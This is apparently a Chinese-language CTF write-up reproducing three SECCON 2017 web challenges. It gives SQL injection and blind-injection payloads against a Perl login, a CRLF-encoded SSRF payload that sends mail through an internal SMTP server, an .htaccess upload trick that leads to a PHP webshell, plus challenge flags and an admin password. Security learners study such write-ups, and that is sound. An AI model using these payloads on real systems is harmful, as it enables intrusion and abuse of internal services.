secconctf-writeup

比赛的时候正好有点事,于是赛后复现喽

Log search

这题登陆进去给了一个
搜索框,结合提示应该是考察谷歌黑客语法,先尝试搜索flag,发现返回了好多页面不过全是404
)
那么结合

1
flag AND response:200

)
得到包含flag的页面,访问得到flag

1
SECCON{N0SQL_1njection_for_Elasticsearch!}

sqlsrf

题目描述是叫你给root发一份给我flag的邮件。
这题一开始进去给了3个文件,backup给了index.cgi的源码,那不管我们先看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/perl

use CGI;
my $q = new CGI;

use CGI::Session;
my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});
$s->expire('+1M'); require './.htcrypt.pl';

my $user = $q->param('user');
print $q->header(-charset=>'UTF-8', -cookie=>
[
$q->cookie(-name=>'CGISESSID', -value=>$s->id),
($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
]),
$q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black');
$user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');

my $errmsg = '';
if($q->param('login') ne '') {
use DBI;
my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB');
my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
$errmsg = '<h2 style="color:red">Login Error!</h2>';
eval {
$sth->execute();
if(my @row = $sth->fetchrow_array) {
if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {
$s->param('autheduser', $q->param('user'));
print "<scr"."ipt>document.location='./menu.cgi';</script>";
$errmsg = '';
}
}
};
if($@) {
$errmsg = '<h2 style="color:red">Database Error!</h2>';
}
$dbh->disconnect();
}
$user = $q->escapeHTML($user);

print <<"EOM";
<!-- The Kusomon by KeigoYAMAZAKI, 2017 -->
<div style="background:#000 url(./bg-header.jpg) 50% 50% no-repeat;position:fixed;width:100%;height:300px;top:0;">
</div>
<div style="position:relative;top:300px;color:white;text-align:center;">
<h1>Login</h1>
<form action="?" method="post">$errmsg
<table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;">
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr>
<tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember Me</td></tr>
<tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr>
</table>
</form>
</div>
</body>
</html>
EOM

1;

perl审计,对于perl我是一点都没学过的,但是这个代码还是很好理解的,首先从参数中获得了user,放入sqlite数据库中查询密码,如果查询的密码等于加密后传入的pass参数就通过校验,前面那个很好绕过,用一般的套路就可以

1
' union select xxxxx--+

但是我们不知道passwd加密后的值,所以再读读代码,发现一处可利用的点

1
2
3
4
5
print $q->header(-charset=>'UTF-8', -cookie=>
[
$q->cookie(-name=>'CGISESSID', -value=>$s->id),
($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
]),

如果勾选了保存密码这里就会把加密后的$user变量注入进了cookie中的remember参数中,如此我们加密的$user变量就可见了。所以注册一个pupiles用户,查看返回的cookie
)

1
remember=f7d1e331621ba4b15527e8cd1c62ec55; path=/; expires=Thu, 11-Jan-2018 16:41:24 GMT

所以提交

1
2
用户名为' union select 'f7d1e331621ba4b15527e8cd1c62ec55'--+
密码为pupiles

成功登陆
)
登陆后发现有个netstat功能,可以查看开放的端口,然后还有一个wget功能,但是发现不是admin不能使用,所以我们要想办法弄出管理员的密码,这时候需要用到盲注,我们在user处尝试如下payload

1
2
3
' union select xxxxx AND 1=1--+
' union select xxxxx AND 1=2--+
//Login Error!

所以我们根据返回值就可以进行盲注
payload

1
' union select xxxx from users where username='admin' and substr(password,{},1)={}

这样可以注入出admin密码,但是是加过密的,利用前面

1
$user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');

即可获取解密后的明文Yes!Kusomon!!
登陆后,可以正常使用wget命令,猜测是wget的bug,谷歌了一发,找到了一个这个http://lists.gnu.org/archive/html/bug-wget/2017-03/msg00018.html那思路很清晰了,ssrf+crlf打内网smtp服务器,先试一发

1
127.0.0.1%0d%0atest:25

)
于是我们构造一个smtp数据包发送一封邮件给用户即可

1
127.0.0.1%0D%0AHELO%20towca%0D%0AMAIL%20FROM%3A%3Cmy_mail%40gmail.com%3E%0D%0ARCPT%20TO%3A%3Croot%3E%0D%0ADATA%0D%0ASubject%3A%20give%20me%20flag%0D%0A%0D%0Aabc%0D%0A.%0D%0A:25/

然后就能收到一封包含flag的电子邮件了

1
SECCON{SSRFisMyFriend!}

automatic_door

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
 <?php
$fail = str_repeat('fail', 100);
$d = 'sandbox/FAIL_' . sha1($_SERVER['REMOTE_ADDR'] . '95aca804b832f4c329d8c0e7c789b02b') . '/';
@mkdir($d);

function read_ok($f)
{
return strstr($f, 'FAIL_') === FALSE &&
strstr($f, '/proc/') === FALSE &&
strstr($f, '/dev/') === FALSE;
}

function write_ok($f)
{
return strstr($f, '..') === FALSE && read_ok($f);
}

function GetDirectorySize($path)
{
$bytestotal = 0;
$path = realpath($path);
if ($path !== false && $path != '' && file_exists($path)) {
foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS)) as $object) {
$bytestotal += $object->getSize();
}
}
return $bytestotal;
}

if (isset($_GET['action'])) {
if ($_GET['action'] == 'pwd') {
echo $d;

exit;
}
else if ($_GET['action'] == 'phpinfo') {
phpinfo();

exit;
}
else if ($_GET['action'] == 'read') {
$f = $_GET['filename'];
if (read_ok($f))
echo file_get_contents($d . $f);
else
echo $fail;

exit;
} else if ($_GET['action'] == 'write') {
$f = $_GET['filename'];
if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) {
print_r($_FILES['file']);
print_r(move_uploaded_file($_FILES['file']['tmp_name'], $d . $f));
}
else
echo $fail;

if (GetDirectorySize($d) > 10000) {
rmdir($d);
}

exit;
} else if ($_GET['action'] == 'delete') {
$f = $_GET['filename'];
if (write_ok($f))
print_r(unlink($d . $f));
else
echo $fail;

exit;
}
}

highlight_file(__FILE__);

我们可以上传文件,但是后缀不能含有ph所以不能上传ph,那这种上传肯定是上传.htacess然后修改一下类型

1
AddType application/x-httpd-php .html .htm

然后我们传一个php一句话用html作为后缀名,但是phpinfo中过滤了大多函数

1
system、exec、shell_exec、 passthru、popen、proc_popen

找一个没有过滤的proc_popen

1
SECCON{f6c085facd0897b47f5f1d7687030ae7}